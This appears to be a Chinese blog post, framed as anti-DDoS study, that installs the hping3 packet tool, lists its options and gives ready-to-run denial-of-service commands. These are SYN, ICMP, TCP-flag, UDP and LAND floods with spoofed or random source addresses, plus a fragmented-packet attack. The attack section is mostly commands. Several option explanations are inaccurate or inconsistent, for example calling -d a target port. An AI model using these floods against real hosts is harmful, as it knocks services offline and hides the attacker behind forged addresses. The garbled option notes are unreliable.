hping3拒绝服务攻击小结

  • Author:ZERO-A-ONE
  • Date:2021-02-15

​ 最近在研究Anti-DDoS势必要了解如何发起DDoS攻击,于是就接触到了hping3这款发包工具

一、简介

​ hping是面向命令行的用于生成和解析TCP/IP协议数据包汇编/分析的开源工具。作者是Salvatore Sanfilippo,界面灵感来自ping(8)unix命令,目前最新版是hping3,它支持TCP,UDP,ICMP和RAW-IP协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测

二、安装

yum install libpcap-devel tc-devel
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
wget http://www.hping.org/hping3-20051105.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105
./configure
make
make install

三、命令使用

命令语法:

$ hping3

选项含义:

-H --help 显示帮助。
-v -VERSION 版本信息。
-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。
-i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。
-n -nmeric 数字输出,象征性输出主机地址。
-q -quiet 退出。
-I --interface interface name 无非就是eth0之类的参数。
-v --verbose 显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
-D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
-z --bind 快捷键的使用。
-Z --unbind 消除快捷键。
-O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。
-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。
-9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。
-a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
-t --ttl time to live 可以指定发出包的TTL值。
-H --ipproto 在RAW IP模式里选择IP协议。
-w --WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
-r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
-F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。
-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。
-y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
-G --fragoff fragment offset value set the fragment offset
-m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。
-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。
-C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。
-K --ICMPCODE CODE 指定ICMP代号,缺省0。
--icmp-ipver 把IP版本也插入IP头。
--icmp-iphlen 设置IP头的长度,缺省为5(32字节)。
--icmp-iplen 设置IP包长度。
--icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。
--icmp-ipproto 设置协议的,缺省是TCP。
-icmp-cksum 设置校验和。
-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。
-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。
--keep 上面说过了。
-w --win 发的大小和windows一样大,64BYTE。
-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-m --tcpseq 设置TCP序列数。
-l --tcpck 设置TCP ack。
-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。
-h–help显示帮助
-v–version显示版本
-c–count数据包计数
-i–interval等待 (uX即X微秒, 例如: -i u1000)
–fast等同 -i u10000 (每秒10个包)
–faster等同 -i u1000 (每秒100个包)
–flood尽最快发送数据包,不显示回复。
-n–numeric数字输出
-q–quiet静默模式
-I–interface接口名 (默认路由接口)
-V–verbose详细模式
-D–debug调试信息
-z–bind绑定ctrl+z到ttl(默认为目的端口)
-Z–unbind取消绑定ctrl+z键
–beep对于接收到的每个匹配数据包蜂鸣声提示
-0–rawip原始IP模式
-1–icmpICMP模式
-2–udpUDP模式
-8–scanSCAN模式
-9–listenlisten模式
-a–spoof伪造源地址
–rand-dest随机目的地址模式。详细使用man命令
–rand-source随机来源地址模式。详细使用man命令
-t–ttlttl (默认64)
-N–idid (默认随机)
-W–winid使用win* id字节顺序
-r–rel相对id字段(估计主机流量)
-f–frag拆分数据包更多的frag
-x–morefrag设置更多的分段标志
-y–dontfrag设置不分段标志
-g–fragoff设置分段偏移
-m–mtu设置虚拟最大传输单元
-o–tos服务类型(默认为0x00),尝试–tos帮助
-G–rroute包含RECORD_ROUTE选项并显示路由缓冲区
–lsrr松散源路由并记录路由
–ssrr严格源路由并记录路由
-H–ipproto设置IP协议字段,仅在RAW IP模式下使用

四、攻击测试

3.1 SYN Flood

命令操作:

hping3 -c 100000 -d 120 -S -w 64 -p 21 --flood --rand-source www.xxx.com(IP)

参数含义:

  • hping3:应用名称
  • -c 100000:需要发送的包(packets)的数量(非必须)
  • -d 120:包(packets)的大小(非必须)
  • -S:只发送SYN packets
  • -w 64:TCP窗口(Windows)的大小(非必须)
  • -p 21:伪造包为21端口(可以为任意值)
  • –flood:尽可能快的利用全部系统资源发包,泛洪攻击模式
  • –rand-source:伪造随机的源IP地址,也可以使用-a伪造特定的IP地址
  • www.xxx.com(IP):需要攻击的目标主机域名或IP地址

3.2 ICMP Flood

命令操作:

$ hping3 -q -n -a 10.0.0.1 --id 0 --icmp -d 56 --flood 192.168.0.2

参数含义:

  • -q:静默模式(非必须)
  • -n:数字输出
  • -a 10.0.0.1:伪造源地址为10.0.0.1
  • –id 0:表示有ICMP回显(ICMP echo request也就是ping)
  • –icmp:ICMP模式
  • -d 56:目标端口56

在真实世界中的攻击环境中,到目前为止,很多系统配置中都会选择自动丢弃通过hping生成的头部设定不正确的ICMP包,面对这种情况我们可以不使用hping生成的数据包,而是真正的通过抓包软件获得正常的ICMP回显请求报文,然后使用hping3进行重播

命令操作:

$ hping3 -q -n --rawip -a 10.0.0.1 --ipproto 1 --file "./xxxx.bin" -d 64 --flood 192.168.0.2

参数含义:

  • -q:静默模式(非必须)
  • -n:数字输出
  • –rawip:RAWIP模式,在此模式下HPING会发送带数据的IP头
  • –ipproto:设置IP协议字段,仅在RAW IP模式下使用
  • –file:需要重放的文件地址

3.3 TCP Flood

命令操作:

$ hping3 -SARUPF -p 80 -–flood –rand-source 192.168.100.1

参数含义:

  • -SARUPF:

3.4 UDP Flood

命令操作:

$ hping3 –udp -s 6666 -p 53 -a 8.8.8.8 -–flood 192.168.100.1

参数含义:

  • -udp:UDP模式
  • -s:用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义

3.5 LAND攻击

命令操作:

$ hping3 -n -S -p 80 -a 192.168.100.1 -–flood 192.168.100.1 

3.6 混合大小包攻击

命令操作:

$ time(hping3 --syn -d 1600 -x -m 600 --id 1020 -c 1 192.168.10.100 & hping3 --syn -d 1600 -x -m 400 --id 1020 -c 1 192.168.10.100)
  • 4
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值